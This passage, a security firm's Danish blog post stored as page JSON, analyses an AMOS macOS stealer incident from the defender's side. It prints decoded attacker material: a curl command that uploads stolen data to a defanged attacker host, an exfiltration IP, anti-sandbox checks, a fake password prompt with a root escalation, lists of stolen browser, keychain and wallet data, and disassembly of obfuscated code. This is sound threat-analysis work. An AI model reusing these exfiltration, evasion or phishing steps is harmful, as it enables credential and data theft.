[{"data":1,"prerenderedAt":3344},["ShallowReactive",2],{"sc:header-data-da":3,"sc:footer-data-da":489,"post-da--posts-2026-04-10-incident-to-intelligence-e4a8aa31fde78":519,"authors_data":2772,"content-da-list-7b291c2dd91a4":3124,"authors_data:Pascal Asch":3341},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"da":13},{"title":14,"url":15,"alt":16},"Forside","/da","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"da":21},{"title":22,"description":23},"Workplace","Intelligente, sikre og fleksible arbejdspladser bygget på Microsoft 365, der forener moderne teknologier og identitetstjenester.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"da":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"da":34},{"title":35,"url":36},"Managed Intune","/da/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"da":40},{"title":41,"url":42},"Managed Entra","/da/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"da":46},{"title":47,"url":48},"Managed Workplace","/da/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"da":52},{"title":53,"url":54},"Consulting Services","/da/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"da":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"da":64},{"title":65,"url":66},"Microsoft Entra Suite","/da/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"da":70},{"title":71,"url":72},"Microsoft Intune","/da/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"da":76},{"title":77,"url":78},"Microsoft Windows","/da/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"da":82},{"title":83,"url":84},"Windows 365 Cloud PC","/da/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"da":88},{"title":89,"url":90},"Cloud Workplace Foundation","/da/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"da":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"da":100},{"title":101,"url":102},"Microsoft 365 Copilot","/da/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"da":106},{"title":107,"url":108},"Teams","/da/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"da":112},{"title":113,"url":114},"SharePoint & Power Platform","/da/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"da":118},{"title":119,"url":120},"Exchange Online","/da/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"da":124},{"title":125,"url":126},"Information Protection & Compliance","/da/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"da":130},{"title":131,"description":132},"Azure","Sæt gang i væksten med Azure: skær ned på cloudomkostningerne, øg effektiviteten og driv innovationen med IaaS og PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"da":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"da":142},{"title":143,"url":144},"Azure Managed Services","/da/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"da":148},{"title":149,"url":150},"Azure Consulting","/da/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"da":154},{"title":155},"Scenarier",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"da":160},{"title":161,"url":162},"Planlæg din cloud","/da/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"da":166},{"title":167,"url":168},"Migrér til cloud","/da/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"da":172},{"title":173,"url":174},"Forny din forretning","/da/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"da":178},{"title":179,"url":180},"Gentænk din VMware-strategi","/da/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"da":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"da":190},{"title":191,"url":192},"Azure Foundation","/da/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"da":196},{"title":197,"url":198},"Azure AI Foundation","/da/azure/azure-ai-foundation",{"name":86,"languages":200},{"da":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"da":205},{"title":206,"url":207},"Azure Data Foundation","/da/azure/azure-data-foundation",{"name":188,"languages":209},{"da":210},{"title":211,"url":212},"Azure Container Foundation","/da/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"da":216},{"title":217,"url":218},"Managed Dark Tenant","/da/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"da":222},{"title":223,"url":224},"Cloud Adoption Framework","/da/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"da":228},{"title":229,"url":230},"Cloud Competence Center","/da/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"da":234},{"title":235,"description":236,"emergency":237},"Sikkerhed","Årvågenhed i clouden med en prisbelønnet 24/7 managed service, incident response og tidssvarende beskyttelse af din infrastruktur.",{"text":238,"href":239,"skin":240,"icon":241},"Under angreb?","/da/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"da":249},{"title":250,"url":251},"Managed Red Tenant","/da/security/managed-red-tenant",{"name":214,"languages":253},{"da":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"da":259},{"title":260,"url":261},"Sentinel Data Lake","/da/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"da":265},{"title":266,"url":267},"Security Consulting","/da/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"da":274},{"title":275,"url":276},"Cloud Security Operations Center","/da/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"da":280},{"title":281,"url":282},"Global Secure Access","/da/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"da":286},{"title":287,"url":288},"MyWorkID","/da/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"da":295},{"title":296,"url":297},"Preventive Services","/da/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"da":301},{"title":302,"url":303},"Data Security Service","/da/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"da":307},{"title":308,"url":309},"Security Copilot Agents","/da/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"da":313},{"title":314,"url":315},"Implementering af NIS2","/da/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"da":319},{"title":320,"description":321},"Produkter","Companion-produkter til et gennemført sikkert, 100 % cloud-native Microsoft-miljø, der styrker samarbejdet, netværksautentificeringen og softwarehåndteringen.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"da":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Cloudbaseret softwaredistribution",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"da":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Certifikatdistribution fra clouden",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"da":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Arbejd med dine lokale Office 365-data",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"da":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Migrér dine data fra én server til en anden",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"da":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider til Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"da":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Autentificering til dit netværk",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"da":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Find kontakter i Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"da":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilot-overvågning i realtid",{"name":396,"languages":397},"casestudies",{"da":398},{"title":399,"url":400,"description":401},"Cases","/da/casestudies","Pioner i clouden: din Microsoft-partner til gennemarbejdede cloudløsninger med en blueprint-baseret tilgang og ekspertise i Infrastructure-as-Code.",{"name":403,"languages":404,"children":407},"company",{"da":405},{"title":406,"description":401},"Virksomhed",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"da":411},{"title":412},"Om os",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"da":417},{"title":418,"url":419},"Fakta og tal","/da/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"da":423},{"title":424,"url":425},"Kontakt og lokationer","/da/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"da":429},{"title":430,"url":431},"glueckkanja Schweiz","/da/company/switzerland",{"name":433,"languages":434},"austria",{"da":435},{"title":436,"url":437},"glueckkanja Østrig","/da/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"da":441},{"title":442},"Karriere",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"da":447},{"title":448,"url":449},"Karriereoversigt","/da/career",{"name":451,"languages":452},"company-young-professionals",{"da":453},{"title":454,"url":455},"Young Professionals","/da/young-professionals",{"name":457,"languages":458},"company-jobs",{"da":459},{"title":460,"url":461},"Ledige stillinger","/da/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"da":465},{"title":466},"Aktuelt",[468,474],{"name":469,"languages":470},"company-blog",{"da":471},{"title":472,"url":473},"Blog","/da/blog",{"name":469,"languages":475},{"da":476},{"title":477,"url":478},"Events","/da/events",[480],{"name":481,"languages":482},"career-meta",{"da":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"da":487},{"title":488,"url":425,"active":484},"Kontakt",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksDa":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Privatlivspolitik","/da/privacy",{"title":514,"url":515},"Juridisk information","/da/imprint",{"title":517,"url":518},"Ingen cookies","/da/cookies",{"id":520,"title":521,"author":522,"body":524,"cta":494,"description":530,"eventid":494,"extension":2674,"hideInRecent":484,"layout":2675,"meta":2676,"moment":2680,"navigation":325,"path":2762,"seo":2763,"stem":2764,"tags":2765,"webcast":484,"__hash__":2771},"content_da/posts/2026-04-10-incident-to-intelligence.md","Anatomien af en ukendt AMOS Stealer: fra alert til immunitet på timer",[523],"Pascal Asch",{"type":525,"value":526,"toc":2638},"minimal",[527,531,534,537,540,545,548,551,559,561,566,569,572,586,589,592,600,603,607,609,612,635,638,646,649,657,664,668,670,673,681,696,700,702,705,710,713,721,725,727,735,739,741,744,748,750,753,761,765,767,775,778,876,879,909,911,915,917,923,926,930,932,1016,1020,1022,1033,1040,1114,1125,1132,1136,1138,1203,1207,1209,1216,1218,1222,1224,1231,1257,1444,1447,1455,1466,1469,1477,1491,1504,1506,1510,1512,1530,1552,1742,1745,1753,1756,1759,1761,1765,1767,1770,1849,1852,1871,1950,1953,1955,1959,1961,1964,1971,2026,2029,2037,2040,2042,2046,2048,2055,2067,2115,2126,2165,2174,2189,2192,2194,2198,2200,2207,2210,2218,2221,2229,2243,2246,2248,2252,2254,2264,2268,2270,2288,2296,2310,2329,2333,2335,2338,2346,2349,2357,2371,2375,2377,2380,2388,2407,2413,2417,2419,2427,2433,2440,2444,2446,2454,2458,2460,2463,2471,2474,2478,2480,2488,2492,2494,2502,2506,2508,2516,2520,2522,2530,2547,2552,2554,2558,2560,2567,2584,2587,2600,2602,2606,2608,2611,2614,2617,2634],[528,529,530],"p",{},"Når en alert udløses i vores SOC, begynder uret at løbe: ikke kun for den berørte kunde, men for alle organisationer under vores beskyttelse. Det farligste øjeblik i det moderne trusselslandskab er Intelligence Gap, tidsvinduet mellem den første anvendelse af en ny malwarevariant og den dag, branchen hører om den.",[528,532,533],{},"For selvstændige security-teams betyder det hul ekstrem sårbarhed: man venter på en vendor-opdatering eller et signaturfeed, der endnu ikke er skrevet. For vores kunder lukker vores internt udviklede Shared Threat Intelligence præcis det vindue.",[528,535,536],{},"Dette indlæg er en teknisk gennemgang af, hvordan vi skilte en hidtil udokumenteret AMOS-variant (Atomic macOS Stealer) ad, og hvordan et enkelt kompromitteret endpoint inden for få timer blev til dækkende detektion og blokering for alle vores kundemiljøer.",[538,539],"hr",{},[541,542,544],"h1",{"id":543},"hændelsen-et-ukendt-ioc-scenarie","Hændelsen: et ukendt IOC-scenarie",[528,546,547],{},"{: .h3-font-size}",[528,549,550],{},"Alerten kom ind den 12. marts 2026 kl. 06:25 lokal tid: et macOS-endpoint var blevet kompromitteret. Da vores SOC gik i gang med at analysere artefakterne, stod vi i den situation, enhver threat analyst frygter: ingen kendte filhashes, ingen C2-IP-adresser, ingen brugbare adfærdssignaturer i offentlige databaser.",[528,552,553,554,558],{},"Den fulde angrebsarkitektur viste sig først i dybdeanalysen. Infektionen byggede på en 15,7 MB stor macOS Universal Binary (x86_64 og ARM64), placeret under ",[555,556,557],"code",{},"/private/tmp/helper",". Samplet var ikke direkte tilgængeligt på det kompromitterede system; vores team måtte rekonstruere infektionskæden og simulere den oprindelige leveringsforespørgsel for manuelt at hente binærfilen fra angriberens infrastruktur.",[538,560],{},[562,563,565],"h2",{"id":564},"stage-1-sandbox-kontroller","Stage 1: Sandbox-kontroller",[528,567,568],{},"{: .h4-font-size}",[528,570,571],{},"Før selve stealeren blev udført på enheden, havde en AppleScript-payload allerede kørt. Hver streng i den, hver filsti, hver shell-kommando, hver URL var kodet gennem tre brugerdefinerede aritmetiske funktioner:",[573,574,576],"div",{"style":575},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[577,578,583],"pre",{"className":579,"code":581,"language":582},[580],"language-text","on ipbgcjzgqa(a, b)\n    -- result[i] = chr(a[i] - b[i])\n\non kwcvvjininv(a, b)\n    -- result[i] = chr(a[i] + b[i])\n\non xqylheckjx(a, b, offset)\n    -- result[i] = chr(a[i] - b[i] - offset)\n","text",[555,584,581],{"__ignoreMap":585},"",[528,587,588],{},"Ikke en eneste streng optræder i klartekst. Det, der ved første øjekast lignede betydningsløse integer-arrays, viste sig efter omvendingen af kodningsskemaet at være et komplet, driftsklart framework til datatyveri og eksfiltrering.",[528,590,591],{},"Vi dekodede hvert array i scriptet statisk. Resultaterne var entydige:",[573,593,594],{"style":575},[577,595,598],{"className":596,"code":597,"language":582},[580],"Download URL: https[:]//woupp[.]com/n8n/update\nExfil server: http[:]//92[.]246[.]136[.]14/contact\nExfil method: curl --connect-timeout 120 --max-time 300 -X POST -F \"file=@/tmp/out.zip\"\n",[555,599,597],{"__ignoreMap":585},[528,601,602],{},"Download-URL'en efterligner bevidst en legitim opdatering til workflow-automatiseringen n8n, et værktøj, der er udbredt blandt udviklere og DevOps-ingeniører. Det er ikke tilfældigt: kampagnen rammer teknisk kyndige brugere, ikke almindelige slutbrugere, der installerer cracket software.",[562,604,606],{"id":605},"anti-sandbox-tjekket","Anti-sandbox-tjekket",[528,608,568],{},[528,610,611],{},"Før download kørte scriptet en dedikeret rutine til at opdage VM'er og sandboxes. Ud fra artefakterne fra hændelsen kunne vi desuden genskabe et selvstændigt anti-sandbox-script:",[573,613,614],{"style":575},[577,615,619],{"className":616,"code":617,"language":618,"meta":585,"style":585},"language-applescript shiki shiki-themes github-light github-dark","set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\nset qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n","applescript",[555,620,621,629],{"__ignoreMap":585},[622,623,626],"span",{"class":624,"line":625},"line",1,[622,627,628],{},"set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\n",[622,630,632],{"class":624,"line":631},2,[622,633,634],{},"set qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n",[528,636,637],{},"Resultaterne tjekkede scriptet derefter mod to lister. Den første ledte efter virtualiseringsmarkører i hukommelsesdataene:",[573,639,640],{"style":575},[577,641,644],{"className":642,"code":643,"language":582},[580],"\"QEMU\"   \"VMware\"   \"KVM\"\n",[555,645,643],{"__ignoreMap":585},[528,647,648],{},"Den anden tjekkede hardwareidentifikatorer mod en liste over kendte serienumre på analysemaskiner:",[573,650,651],{"style":575},[577,652,655],{"className":653,"code":654,"language":582},[580],"\"Z31FHXYQ0J\"     -- known sandbox machine serial\n\"C07T508TG1J2\"   -- known sandbox machine serial\n\"C02TM2ZBHX87\"   -- known sandbox machine serial\n\"Chip: Unknown\"  -- emulation indicator\n\"Intel Core 2\"   -- legacy/VM indicator\n",[555,656,654],{"__ignoreMap":585},[528,658,659,660,663],{},"Ved et match: ",[555,661,662],{},"exit 100",", fuldstændigt afbrud. På en ægte MacBook Pro med Apple Silicon bestod alle tjek lydløst, og udførelsen fortsatte. En sandbox-evasionsteknik på professionelt niveau, som kørte, før en eneste byte af binærfilen var hentet.",[562,665,667],{"id":666},"enkelt-men-effektivt-den-falske-adgangskodeprompt","Enkelt, men effektivt: den falske adgangskodeprompt",[528,669,568],{},[528,671,672],{},"Det dekodede script indeholdt også dialogen til rettighedseskalering via social engineering:",[573,674,675],{"style":575},[577,676,679],{"className":677,"code":678,"language":582},[580],"Title:   \"Application wants to install helper\"\nPrompt:  \"Required Application Helper. Please enter device\n          password to continue.\"\nButton:  \"Continue\"\n",[555,680,678],{"__ignoreMap":585},[528,682,683,684,687,688,691,692,695],{},"Dialogen vises via et almindeligt macOS-",[555,685,686],{},"display dialog","-kald med ",[555,689,690],{},"with hidden answer"," og kan visuelt ikke skelnes fra en ægte macOS-autorisationsprompt. Den indtastede adgangskode brugte scriptet til at kalde ",[555,693,694],{},"login -pf \u003Cusername>"," og løfte processen til root-rettigheder, endnu før binærfilen blev udført.",[562,697,699],{"id":698},"hvad-scriptet-indsamlede","Hvad scriptet indsamlede",[528,701,568],{},[528,703,704],{},"Så snart binærfilen var udført, fortsatte osascript'et sit eget indsamlingsforløb og tog hver kategori af følsomme systemdata. Vi dekodede alle indsamlingsstier og mål:",[706,707,709],"h3",{"id":708},"browserdata-alle-chromium-browsere-safari","Browserdata (alle Chromium-browsere + Safari):",[528,711,712],{},"{: .font-size-4}",[573,714,715],{"style":575},[577,716,719],{"className":717,"code":718,"language":582},[580],"/Login Data          /Cookies            /Web Data\n/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/\n",[555,720,718],{"__ignoreMap":585},[706,722,724],{"id":723},"macos-keychain","macOS Keychain:",[528,726,712],{},[573,728,729],{"style":575},[577,730,733],{"className":731,"code":732,"language":582},[580],"~/Library/Keychains/login.keychain-db  -- accessed directly via cat\n",[555,734,732],{"__ignoreMap":585},[706,736,738],{"id":737},"apple-notes","Apple Notes",[528,740,712],{},[528,742,743],{},"Hele indholdet eksporteret som HTML med tællerheader",[706,745,747],{"id":746},"lokale-filer","Lokale filer",[528,749,712],{},[528,751,752],{},"Skrivebord og dokumenter, op til 30 MB, med fokus på:",[573,754,755],{"style":575},[577,756,759],{"className":757,"code":758,"language":582},[580],"pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf\nkey  p12  pem  cert  pfx  sql  db  sqlite\njson  xml  yaml  conf  env  csv\n",[555,760,758],{"__ignoreMap":585},[706,762,764],{"id":763},"kryptovaluta-wallets","Kryptovaluta-wallets",[528,766,712],{},[528,768,769,770,774],{},"En hardkodet liste med ",[771,772,773],"strong",{},"mere end 200 browser-extension-ID'er",", der dækker alle gængse wallets, heriblandt MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI og Exodus.",[528,776,777],{},"Efter indsamlingen blev alle data pakket i et tilfældigt navngivet midlertidigt katalog og eksfiltreret:",[573,779,780],{"style":575},[577,781,785],{"className":782,"code":783,"language":784,"meta":585,"style":585},"language-bash shiki shiki-themes github-light github-dark","ditto -c -k --sequesterRsrc \u003Cstaging_dir> /tmp/out.zip\ncurl --connect-timeout 120 --max-time 300 -X POST \\\n  -H \"user: \u003Cuuid>\" -H \"BuildID: \u003Chw_profile>\" \\\n  -F \"file=@/tmp/out.zip\" laislivon[.]com/contact\n","bash",[555,786,787,821,847,864],{"__ignoreMap":585},[622,788,789,793,797,800,803,807,811,815,818],{"class":624,"line":625},[622,790,792],{"class":791},"sScJk","ditto",[622,794,796],{"class":795},"sj4cs"," -c",[622,798,799],{"class":795}," -k",[622,801,802],{"class":795}," --sequesterRsrc",[622,804,806],{"class":805},"szBVR"," \u003C",[622,808,810],{"class":809},"sZZnC","staging_di",[622,812,814],{"class":813},"sVt8B","r",[622,816,817],{"class":805},">",[622,819,820],{"class":809}," /tmp/out.zip\n",[622,822,823,826,829,832,835,838,841,844],{"class":624,"line":631},[622,824,825],{"class":791},"curl",[622,827,828],{"class":795}," --connect-timeout",[622,830,831],{"class":795}," 120",[622,833,834],{"class":795}," --max-time",[622,836,837],{"class":795}," 300",[622,839,840],{"class":795}," -X",[622,842,843],{"class":809}," POST",[622,845,846],{"class":795}," \\\n",[622,848,850,853,856,859,862],{"class":624,"line":849},3,[622,851,852],{"class":795},"  -H",[622,854,855],{"class":809}," \"user: \u003Cuuid>\"",[622,857,858],{"class":795}," -H",[622,860,861],{"class":809}," \"BuildID: \u003Chw_profile>\"",[622,863,846],{"class":795},[622,865,867,870,873],{"class":624,"line":866},4,[622,868,869],{"class":795},"  -F",[622,871,872],{"class":809}," \"file=@/tmp/out.zip\"",[622,874,875],{"class":809}," laislivon[.]com/contact\n",[528,877,878],{},"Oprydningen fulgte umiddelbart efter:",[573,880,881],{"style":575},[577,882,884],{"className":782,"code":883,"language":784,"meta":585,"style":585},"rm -r \u003Cstaging_dir>\nrm /tmp/out.zip\n",[555,885,886,903],{"__ignoreMap":585},[622,887,888,891,894,896,898,900],{"class":624,"line":625},[622,889,890],{"class":791},"rm",[622,892,893],{"class":795}," -r",[622,895,806],{"class":805},[622,897,810],{"class":809},[622,899,814],{"class":813},[622,901,902],{"class":805},">\n",[622,904,905,907],{"class":624,"line":631},[622,906,890],{"class":791},[622,908,820],{"class":809},[538,910],{},[541,912,914],{"id":913},"stage-2-reverse-engineering-af-helper-binærfilen","Stage 2: Reverse engineering af 'helper'-binærfilen",[528,916,547],{},[528,918,919,922],{},[555,920,921],{},"helper","-binærfilen er den del, hvor denne analyse for alvor går i dybden. Der er tale om et professionelt obfuskeret macOS-executable, som systematisk besværliggør statisk analyse, og som krævede det største reverse engineering-arbejde i hele undersøgelsen.",[528,924,925],{},"Hele analysen blev gennemført med Ghidra og vores brugerdefinerede ARM64-analyseworkflow.",[562,927,929],{"id":928},"filegenskaber","Filegenskaber",[528,931,568],{},[573,933,935],{"style":934},"border-radius: 6px; overflow: hidden; margin: 0.25rem 0",[936,937,939,940,939,956],"table",{"style":938},"width:100%; border-collapse: collapse; font-size: 0.85rem","\n  ",[941,942,943,944,939],"thead",{},"\n    ",[945,946,947,948,947,953,943],"tr",{},"\n      ",[949,950,952],"th",{"style":951},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","Egenskab",[949,954,955],{"style":951},"Værdi",[957,958,943,959,943,969,943,978,943,986,943,996,943,1006,939],"tbody",{},[945,960,947,961,947,966,943],{},[962,963,965],"td",{"style":964},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Format",[962,967,968],{"style":964},"Mach-O Universal Binary",[945,970,947,971,947,975,943],{},[962,972,974],{"style":973},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Architectures",[962,976,977],{"style":973},"x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)",[945,979,947,980,947,983,943],{},[962,981,982],{"style":964},"Size",[962,984,985],{"style":964},"15.7 MB",[945,987,947,988,947,991,943],{},[962,989,990],{"style":973},"MD5",[962,992,993],{"style":973},[555,994,995],{},"4599fdf2fa2099b30d8bbf76703dd634",[945,997,947,998,947,1001,943],{},[962,999,1000],{"style":964},"SHA-1",[962,1002,1003],{"style":964},[555,1004,1005],{},"3992edfb6f885ae5f09f3e69a2578048d6d5bb54",[945,1007,947,1008,947,1011,943],{},[962,1009,1010],{"style":973},"SHA-256",[962,1012,1013],{"style":973},[555,1014,1015],{},"5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d",[562,1017,1019],{"id":1018},"det-begynder-før-main","Det begynder før main()",[528,1021,568],{},[528,1023,1024,1025,1028,1029,1032],{},"Det første, vi konstaterede i Ghidra: denne binærfil opfører sig ikke som et normalt executable. Det egentlige indgangspunkt er ikke ",[555,1026,1027],{},"main()",", men en funktion, der er registreret i ",[555,1030,1031],{},"__mod_init_func",", en macOS-mekanisme, der instruerer den dynamiske linker (dyld) i automatisk at køre bestemte funktioner, når binærfilen indlæses, endnu før brugbar kode kører.",[528,1034,1035,1036,1039],{},"Init-funktionen ved ",[555,1037,1038],{},"0x10009f384"," er malwarens egentlige indgangspunkt. Her er Ghidra-dekompileringen:",[573,1041,1042],{"style":575},[1043,1044,1045,1049,1052,1055,1059,1060,1064,1065,1067,1068,1071,1072,1086],"code-block",{},[622,1046,1048],{"style":1047},"color:#6a737d","// FUN_10009f384 @ 0x10009f384",[1050,1051],"br",{},[622,1053,1054],{"style":1047},"// __mod_init_func registered — executes before main()",[622,1056,1058],{"style":1057},"color:#d73a49","void"," ",[622,1061,1063],{"style":1062},"color:#6f42c1","FUN_10009f384","(",[622,1066,1058],{"style":1057},")\n{\n  ",[622,1069,1070],{"style":1057},"int"," iVar1;\n",[528,1073,1074,1077,1078,1064,1081,1085],{},[622,1075,1076],{"style":1047},"// Anti-sandbox delay: usleep(0x37e) = 894 microseconds","\niVar1 = ",[622,1079,1080],{"style":1062},"_usleep",[622,1082,1084],{"style":1083},"color:#005cc5","0x37e",");",[528,1087,1088,1091,1094,1095,1097,1098,1101,1102,1105,1106,1109,1110,1113],{},[622,1089,1090],{"style":1047},"// Indirect jump table — 14-state machine",[622,1092,1093],{"style":1047},"// Defeats CFG reconstruction in static analysis tools","\n(_(",[622,1096,555],{"style":1057}," _)((",[622,1099,1100],{"style":1057},"ulong",")switchD_10009f43c::switchdataD_1000cd3fc * ",[622,1103,1104],{"style":1083},"4"," + ",[622,1107,1108],{"style":1083},"0x10009f440","))(iVar1);\n",[622,1111,1112],{"style":1057},"return",";\n}",[528,1115,1116,1117,1120,1121,1124],{},"To ting springer straks i øjnene. For det første de 894 mikrosekunders ",[555,1118,1119],{},"usleep"," ved opstart: et anti-sandbox-timingsignal. Mere alvorlig er den indirekte springtabel ved ",[555,1122,1123],{},"0x10009f43c",". Det er en beregnet branch, hvor måladressen bestemmes ved runtime ud fra en lookup-tabel. Statiske analyseværktøjer kan ikke rekonstruere control flow-grafen; Ghidra loggede flere \"unreachable block\"-advarsler under forsøget på at følge udførelsesstien. Det er tilsigtet.",[528,1126,1127,1128,1131],{},"Springtabellen driver en ",[771,1129,1130],{},"14-tilstands-udførelsesmaskine",". Hver tilstand udfører ét enkelt diskret trin i dekrypterings- og udførelsespipelinen. Tilstandstælleren opdateres efter hvert trin, og maskinen kører, indtil alle tilstande er gennemløbet.",[562,1133,1135],{"id":1134},"arm64-disassemblyen-af-state-dispatcheren","ARM64-disassemblyen af state dispatcheren",[528,1137,568],{},[573,1139,1140],{"style":575},[577,1141,1145],{"className":1142,"code":1143,"language":1144,"meta":585,"style":585},"language-asm shiki shiki-themes github-light github-dark","10009f3fc:  stp xzr,xzr,[sp, #0x48]\n10009f41c:  mov w0,#0x37e\n10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n10009f428:  b.hi 0x10009fd44         ; exit if done\n10009f42c:  mov w8,w25               ; current state index\n10009f430:  adr x9,0x10009f440       ; base of jump table\n10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n10009f43c:  br x9                    ; indirect branch, CFG broken here\n","asm",[555,1146,1147,1152,1157,1162,1167,1173,1179,1185,1191,1197],{"__ignoreMap":585},[622,1148,1149],{"class":624,"line":625},[622,1150,1151],{},"10009f3fc:  stp xzr,xzr,[sp, 